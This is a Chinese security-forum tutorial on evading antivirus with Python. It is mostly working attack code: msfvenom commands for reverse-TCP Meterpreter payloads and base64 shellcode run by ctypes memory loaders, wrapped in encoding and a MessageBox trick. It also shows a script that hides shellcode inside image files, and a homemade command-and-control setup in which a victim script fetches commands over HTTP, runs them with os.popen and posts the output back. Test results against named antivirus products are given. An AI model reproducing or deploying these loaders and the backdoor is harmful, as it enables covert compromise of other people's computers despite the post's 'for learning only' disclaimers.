奇安信攻防社区-python的另类免杀

python的另类免杀

人生苦短我用python

0x01 python优缺性
==============

python的应用领域很广，基本整个互联网都在使用它，这也得益于它丰富的第三方库，以及学习简单，成本低。

作为安全工作者更是离不开它，可以快速的写脚本工具，并且很多安全渗透工具都是以python开发的，比如我们熟知的sqlmap，OneForAll，dirsearch等等。

在免杀方面，近年来python作为后起之秀，也被杀毒软件盯得死死的，很离谱的是python写个helloworld，用pyinstaller打包，也会有杀毒软件报毒.....抛弃这个不谈，python使用pyinstaller打包的文件也很大，随便打包一个文件都有6-7m，但纵使它有这些缺点，我依旧喜欢它。

0x02 python免杀环境
===============

首先声明我这里使用的环境:

python3.8 (32位,主程序)

pyinstaller (打包器)

PyCharm (开发环境)

kali自带msf (shellcode生成)

kali自带nc (接收cmd)

0x03 免杀实践
=========

一、对shellcode或代码加解密
------------------

### 1.简单的加密

首先打开kali的msf，生成shellcode

```bash
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.1.131 lport=6666 -f c
```

将生成的shellcode复制下来，使用python处理成一段字符串:

```python
test='''
"\x2f\x4f\x69\x50\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x64\x4a"
"\x6b\x69\x31\x49\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x4d\x66"
"\x2b\x4c\x63\x69\x67\x50\x74\x30\x6f\x6d\x4d\x63\x43\x73\x50"
"\x47\x46\x38\x41\x69\x77\x67\x77\x63\x38\x4e\x41\x63\x64\x4a"
"\x64\x65\x39\x53\x56\x34\x74\x53\x45\x49\x74\x43\x50\x41\x48"
"\x51\x69\x30\x42\x34\x68\x63\x42\x30\x54\x41\x48\x51\x69\x31"
"\x67\x67\x55\x49\x74\x49\x47\x41\x48\x54\x68\x63\x6c\x30\x50"
"\x45\x6d\x4c\x4e\x49\x73\x42\x31\x6a\x48\x2f\x4d\x63\x43\x73"
"\x77\x63\x38\x4e\x41\x63\x63\x34\x34\x48\x58\x30\x41\x33\x33"
"\x34\x4f\x33\x30\x6b\x64\x65\x42\x59\x69\x31\x67\x6b\x41\x64"
"\x4e\x6d\x69\x77\x78\x4c\x69\x31\x67\x63\x41\x64\x4f\x4c\x42"
"\x49\x73\x42\x30\x49\x6c\x45\x4a\x43\x52\x62\x57\x32\x46\x5a"
"\x57\x6c\x48\x2f\x34\x46\x68\x66\x57\x6f\x73\x53\x36\x59\x44"
"\x2f\x2f\x2f\x39\x64\x61\x44\x4d\x79\x41\x41\x42\x6f\x64\x33"
"\x4d\x79\x58\x31\x52\x6f\x54\x48\x63\x6d\x42\x34\x6e\x6f\x2f"
"\x39\x43\x34\x6b\x41\x45\x41\x41\x43\x6e\x45\x56\x46\x42\x6f"
"\x4b\x59\x42\x72\x41\x50\x2f\x56\x61\x67\x70\x6f\x77\x4b\x68"
"\x51\x68\x47\x67\x43\x41\x42\x6f\x4b\x69\x65\x5a\x51\x55\x46"
"\x42\x51\x51\x46\x42\x41\x55\x47\x6a\x71\x44\x39\x2f\x67\x2f"
"\x39\x57\x58\x61\x68\x42\x57\x56\x32\x69\x5a\x70\x58\x52\x68"
"\x2f\x39\x57\x46\x77\x48\x51\x4b\x2f\x30\x34\x49\x64\x65\x7a"
"\x6f\x5a\x77\x41\x41\x41\x47\x6f\x41\x61\x67\x52\x57\x56\x32"
"\x67\x43\x32\x63\x68\x66\x2f\x39\x57\x44\x2b\x41\x42\x2b\x4e"
"\x6f\x73\x32\x61\x6b\x42\x6f\x41\x42\x41\x41\x41\x46\x5a\x71"
"\x41\x47\x68\x59\x70\x46\x50\x6c\x2f\x39\x57\x54\x55\x32\x6f"
"\x41\x56\x6c\x4e\x58\x61\x41\x4c\x5a\x79\x46\x2f\x2f\x31\x59"
"\x50\x34\x41\x48\x30\x6f\x57\x47\x67\x41\x51\x41\x41\x41\x61"
"\x67\x42\x51\x61\x41\x73\x76\x44\x7a\x44\x2f\x31\x56\x64\x6f"
"\x64\x57\x35\x4e\x59\x66\x2f\x56\x58\x6c\x37\x2f\x44\x43\x51"
"\x50\x68\x58\x44\x2f\x2f\x2f\x2f\x70\x6d\x2f\x2f\x2f\x2f\x77"
"\x48\x44\x4b\x63\x5a\x31\x77\x63\x4f\x37\x38\x4c\x57\x69\x56"
"\x6d\x6f\x41\x55\x2f\x2f\x56";
'''
print(test.replace('\n','').replace('"','').replace(';','').replace(' ',''))
```

将生成的字符串保存。

如:

```php
/OiPAAAAYInlMdJki1Iwi1IMi1IUMf+LcigPt0omMcCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB0TAHQi1ggUItIGAHThcl0PEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeBYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/VagpowKhQhGgCABoKieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCQPhXD////pm////wHDKcZ1wcO78LWiVmoAU//V
```

首先使用最基本的shellcode加载代码进行执行:

代码一:

```python
import ctypes
import base64

s = '''
/OiPAAAAYInlMdJki1Iwi1IMi1IUMf+LcigPt0omMcCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB0TAHQi1ggUItIGAHThcl0PEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeBYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/VagpowKhQhGgCABoKieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCQPhXD////pm////wHDKcZ1wcO78LWiVmoAU//V
'''
shellcode = base64.b64decode(s)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
```

代码二:

```python
import ctypes
import base64
shellcode='''/OiPAAAAYInlMdJki1Iwi1IMi1IUMf+LcigPt0omMcCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB0TAHQi1ggUItIGAHThcl0PEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeBYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/VagpowKhQhGgCABoKieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCQPhXD////pm////wHDKcZ1wcO78LWiVmoAU//V
'''
data=base64.b64decode(shellcode)
bdata = bytearray(data)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bdata)), ctypes.c_int(0x3000),ctypes.c_int(0x40))

buf = (ctypes.c_char * len(bdata)).from_buffer(bdata)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(bdata)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
```

两者均可以上线msf。

那么此时上述两个shellcode加载器均无法达到免杀，那么根据正常的思路就是fuzz测试了，对代码进行增删，看杀毒软件主要查杀哪部分，但是使用的方式多了，效果也就变差了，我们换一种思路。

对整个代码进行base64编码，效果怎么样？

```python
import base64

import win32api, win32con

def test():
    test = '''
    aW1wb3J0IGN0eXBlcwppbXBvcnQgYmFzZTY0CnMgPSAnJycKL09pUEFBQUFZSW5sTWRKa2kxSXdpMUlNaTFJVU1mK0xjaWdQdDBvbU1jQ3NQR0Y4QWl3Z3djOE5BY2RKZGU5U1Y0dFNFSXRDUEFIUWkwQjRoY0IwVEFIUWkxZ2dVSXRJR0FIVGhjbDBQRW1MTklzQjFqSC9NY0Nzd2M4TkFjYzQ0SFgwQTMzNE8zMGtkZUJZaTFna0FkTm1pd3hMaTFnY0FkT0xCSXNCMElsRUpDUmJXMkZaV2xILzRGaGZXb3NTNllELy8vOWRhRE15QUFCb2QzTXlYMVJvVEhjbUI0bm8vOUM0a0FFQUFDbkVWRkJvS1lCckFQL1ZhZ3Bvd0toUWhHZ0NBQm9LaWVaUVVGQlFRRkJBVUdqcUQ5L2cvOVdYYWhCV1YyaVpwWFJoLzlXRndIUUsvMDRJZGV6b1p3QUFBR29BYWdSV1YyZ0MyY2hmLzlXRCtBQitOb3MyYWtCb0FCQUFBRlpxQUdoWXBGUGwvOVdUVTJvQVZsTlhhQUxaeUYvLzFZUDRBSDBvV0dnQVFBQUFhZ0JRYUFzdkR6RC8xVmRvZFc1TllmL1ZYbDcvRENRUGhYRC8vLy9wbS8vLy93SERLY1oxd2NPNzhMV2lWbW9BVS8vVgonJycKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzKQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEp
    '''
    tel = win32api.MessageBox(0, "这是一个病毒，你要运行吗？", "一起来玩呀", win32con.MB_YESNOCANCEL)  # 是 6 否 7 取消 2
    print(tel)
    if tel == 7:
        exec(base64.b64decode(test))
    elif tel == 2:
        dir('再见')
    else:
        dir('再见')

test()

```

上面增加了一个判断。如果选择否，则执行恶意代码，选择"取消"或者"是"则不执行代码。

免杀效果方面在(2022-7-19)

测试可过，火绒，管家，以及eset(试用版)。

360在上线5min后被查杀。

这里测试了一下微步，3/21，判断为木马，还是不太行啊，可能base64加密太简单了，那根据我上篇文章

<https://forum.butian.net/share/1580>

在这篇文章里介绍了一种加密，当时只是提供了一种思路，代码之类的没有给出，那么这次就用这个加密加强版试试

代码:

```php
# -*- coding: utf-8 -*-
import Tulipdecode
import win32api, win32con

tel = win32api.MessageBox(0, "好兄弟", "一起来玩呀", win32con.MB_YESNOCANCEL)  # 是 6 否 7 取消 2
if tel == 7:
    dir()
elif tel == 2:
    app = Tulipdecode.Eternal()
    abc = app.api_jie(
        sc='????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????',
        sjc=10947, xzys='单身的素面朝天更难吸引桃花运的注意。恋爱中的需要正视感情的问题，并积极解决。', cpuzy=42342)
    exec(abc)
else:
    dir('再见')

```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-f4291e9a5aaf11f50b335096b7f8b4e3d7f50bf5.png)

那么物理机测试的话，360全家桶，火绒，管家，eset都可以过，微步测试安全，但是检测2/22，

![image-20220719145110711](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-20814d9b5c3ef94ed8fa307aeb59110da0f275ec.png)

有两个大兄弟只要是pyinstaller编译的就报毒。

github地址:

<https://github.com/suansuancwk/Tulip>

### 分离加载

接着就谈谈分离免杀吧，顾名思义分离免杀就把shellcode与加载器分离，为了跟好的隐藏shellcode，我们可以将shellcode注入到图片中进行隐藏，这里写个脚本将shellcode注入到图片中，需要准备一张正常的图片，和一段shellcode。

```shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.132 lport=6666 -f raw -o shellcode.jpg
```

这里生成了一张包含shellcode的图片，但是什么都没有，很容易怀疑，那么我们再找张图片，将两张图片进行结合，使shellcode的图片显示为正常的图片。

这里参考小玉玉大佬的代码，

[python实现的分离免杀: python实现的分离免杀 (gitee.com)](https://gitee.com/cutecuteyu/picshell_bypassav)

> 这里代码路稍微改一下，并不是只有jpg可以使用，其他格式也可以。

代码如下:

```python
import os

def injectimage(file):
    if os.path.getsize("output/payload.jpg") == 0:
        print("原始shellcodeh获取失败，请检查源代码！")
        return 0
    shellf = open("output/payload.jpg",'rb')
    shellcode = shellf.read()

os.system("mv "+file+" output/"+file)
    psize = os.path.getsize("output/"+file)
    f = open("output/"+file,'ab+')
    f.seek(psize)
    f.write(shellcode)
    newsize = os.path.getsize("output/"+file)
    if newsize>psize or newsize==psize:
        print("图片注入成功!")

return psize

def genexe(file,lo):
    pyfile = "import os\n\
import ctypes\n\
import base64\n\
f = open('"+file+"', 'rb')\n\
size = os.path.getsize('"+file+"')\n\
f.seek("+str(lo)+")\n\
data = f.read()\n\
f.close()\n\
bdata = bytearray(data)\n\
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int\n\
\n\
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bdata)), ctypes.c_int(0x3000),\n\
                                          ctypes.c_int(0x40))\n\
\n\
buf = (ctypes.c_char * len(bdata)).from_buffer(bdata)\n\
eval(base64.b64decode('Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKGJkYXRhKSkp'))\n\
\n\
handle = ctypes.windll.kernel32.CreateThread(\n\
        ctypes.c_int(0),\n\
        ctypes.c_int(0),\n\
        ctypes.c_int(ptr),\n\
        ctypes.c_int(0),\n\
        ctypes.c_int(0),\n\
        ctypes.pointer(ctypes.c_int(0)))\n\
\n\
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))\n\
"

af = open("payload.py",'w')
    af.write(pyfile)
    # os.system("pyinstaller -F payload.py")

if __name__ == '__main__':
    targetfile = input("请输入图片的路径 :")
    if targetfile == '':
        print("你没有选择一张图片，将默认使用整个shellcode转换成图片")
        os.system("touch demo.png")
        targetfile = "demo.png"

location = injectimage(targetfile)
    genexe(targetfile,location)

```

改了一点，这里按照上面生成的效果如下:  
![image-20220801141153396](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-1f124a4013e43bb60a7fd27c2c72d2eece8df778.png)

运行可以上线，但是吗，免杀可能稍微不太行了，时间太久了，先不管shellcode加载器，单单看看shellcode图片，这是原始直接生成的，

![image-20220801141736399](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-371131349f605bf53b247a4dda112b81649670e2.png)

这里换成base64加密的shllcode图片，

```shell
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.80.132 lport=6666 -f raw -o shellcode.jpg
```

![image-20220801141902099](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-3ef88ca3e8da0f67bd1d8617df7150502f942ffd.png)

效果相对较好了，那么相应的就需要修改代码了，增加一句base64解密就行了

```python
import os
import ctypes
import base64
f = open('tx.jpg', 'rb')
size = os.path.getsize('tx.jpg')
f.seek(67558)
data = f.read()
f.close()
data=base64.b64decode(data)
bdata = bytearray(data)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bdata)), ctypes.c_int(0x3000),ctypes.c_int(0x40))

buf = (ctypes.c_char * len(bdata)).from_buffer(bdata)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(bdata)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

```

另外一种加载器的写法如下:

```python
import os
import ctypes
import base64
f = open('tx.jpg', 'rb')
size = os.path.getsize('tx.jpg')
f.seek(67558)
data = f.read()
f.close()
shellcode = base64.b64decode(data)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

```

以上代码均可以上线。

接下开就是打包了，但是这样免杀成功率未知，可以将上面代码全部加密，加密的方法参考前面。

免杀性就不测试了，由于环境原因，大家可以进行测试，应该不会太差。

远程分离加载就比较简单了，简单就是将包含shellcode或者直接将shellcode放到互联网或者可以获取到的地方，比如图片就可以放到图上，shellcode进行加密放到互联网上等等

将上面的代码或者图片request下来就可以了，原理差不对。

### "借刀杀人"

这种方法不建议真实测试，仅供学习参考....

假如我们将直接使用python的system函数执行命令，不使用cs或者msf，达到远控的目的，类似于webshell，这样我们就可以将需要执行的命令放到互联网上，且回显的命令也可以返回到互联网上，可以使用request请求，中间需要心跳时间，多久request一次。简单结构图如下:

![image-20220801152724641](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-e3911cb4b106739ef710a39741c286cba856c939.png)

上述是使用两台媒介靶机，也可以使用一台，接收与发送都是同一个媒介，但是相对了两台媒介效果好些

这里我不使用真实网站测试，使用本地环境测试。

> 以下内容均虚拟环境，请勿在真实环境下进行！！！！

一个正常的html页面:

![image-20220802172350893](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-41d9d46c8cecabd790c75447270d5bc4a477ebb4.png)

一个php文件，在phpstudy下搭建:

```php
<?php
header("content-type:text/html;charset=utf-8"); 
if(isset($_COOKIE['id'])&amp;&amp; isset($_COOKIE['time']) &amp;&amp; isset($_POST['data']) ){
    $id=$_COOKIE['id'];
    $time=$_COOKIE['time'];
    $data=$_POST['data'];
    $myfile = fopen("log.txt", "w") or die("Unable to open file!");
    $txt = $data.",".$id.",".$time;
    fwrite($myfile, $txt);
    fclose($myfile);
}
?>

```

控制端python代码:

```python
import os
import sys
import time
import lljiam
import lljiem

def getdata():
    with open('index1.html', 'r', encoding='utf8') as f:
        data = f.read()
        f.close()
    # print(data)
    return data

def fsml(data):
    ml = input('执行命令>>>')
    app = lljiam.Eternal()
    test = app.api_jia('2', ml, zfc='suansuan')  # 密文 cpu 时间戳
    # print(test)
    html = data.format(time=test[2], cpu=test[1], ml=test[0])
    with open('index.html', 'w') as f:
        f.write(html)
        f.close()
    if ml == 'exit()':
        sys.exit(0)

# fsml(getdata())

def readhx():
    with open('log.txt', 'r') as f:
        jg = f.read()
        f.close()
    jg = jg.split(',')
    data = jg[0]
    cpu = jg[1]
    time1 = jg[2]
    app = lljiem.Eternal()
    ml = app.api_jie(sc=data, sjc=time1, xzys='suansuanadmin', cpuzy=cpu)
    print(ml)
    os.remove("log.txt")

# readhx()
def ks():
    while True:
        data = getdata()
        fsml(data)
        pd()
        time.sleep(2)

def pd():
    while 1:
        if not os.path.exists('log.txt'):
            time.sleep(1)
        else:
            readhx()
            break

ks()

```

被控端代码:

```python
import os
import sys
import time
import lljiem
import requests
import lljiam

def klj_eval(ml):
    try:
        result = os.popen(ml,'r').read()
    except:
        result = '出错了'
    # print(result)
    return result

def getml():
    html = requests.get(url='http://192.168.80.1:8000').text
    ml = html.split('')[0]
    sjc = html.split('')[0]
    cpu = html.split('')[0]
    # print(ml)
    # print(sjc)
    # print(cpu)
    app = lljiem.Eternal()
    ml = app.api_jie(sc=ml, sjc=sjc, xzys='suansuan', cpuzy=cpu)
    return ml, sjc

def fshx(hx):
    ml = hx
    app = lljiam.Eternal()
    test = app.api_jia('2', ml, zfc='suansuanadmin')  # 密文 cpu 时间戳
    headers = {
        "cookie": "id=" + str(test[1]) + ';' + 'time=' + str(test[2])
    }
    data = {
        "data": test[0]
    }
    requests.post(url='http://127.0.0.1:86/cookie.php', data=data, headers=headers)

# fshx(klj_eval(getml()))
def ks():
    sjc1 = 0
    while True:
        time.sleep(2)
        mls = getml()
        ml = mls[0]
        if ml == 'exit()':
            sys.exit(0)
        else:
            if sjc1 != mls[1]:
                hx = klj_eval(ml)
                fshx(hx)
                sjc1 = mls[1]
            else:
                pass
        time.sleep(60)

ks()

```

另外两个py文件(lljiam，lljiem)是上述加密代码更改版，将爱心替换成了英文字母。

并且上述被控端存在一个心跳时间也就是60s。

上面环境以及代码稍后放到github，仅供参考学习，其他与本人无关:

![image-20220802173250763](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-85be620ab1dd65b53de94f7887c2c4427a53b64b.png)

![image-20220802173431618](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/08/attach-26b2e51e54c537746fa2dabab71dd619f22f6340.png)

上述代码比较简单，原理就是，通过一个中间的服务器作为媒介，接收命令，并且获取命令回显结果，这个是在本地搭建，那么假如我在本地搭建一个cms程序，注册用户登录，在个人简介里输入加密后的命令，让客户端get下来，在由客户端解密，并将执行命令的结果加入到图片里，post到图床，控制端再get下来，结果怎么样呢？

这里仅本地演示，更多的利用方式各位师傅自己探索，大致流程图在上述的图片里。

github地址:

[suansuancwk/http\_bypssAV: http另类的免杀，仅供学习参考！！！ (github.com)](https://github.com/suansuancwk/http_bypssAV)

0x04 总结
=======

最后的一个项目其实还不太完整，有很多需要优化的地方，当然这里只是提供一种思路，一种学习的思路，不要用该项目做非法测试！！！！

这里的python吗，免杀代码较多，且繁琐，后续将会发布python的一行代码免杀，代码则相对来说较少，采用的则主要是分离免杀，搞文章主要是扩展思路。

感谢给位师傅阅读。

发表于 2022-08-05 09:55:36
阅读 ( 10315 )
分类：安全开发

python的另类免杀

2 条评论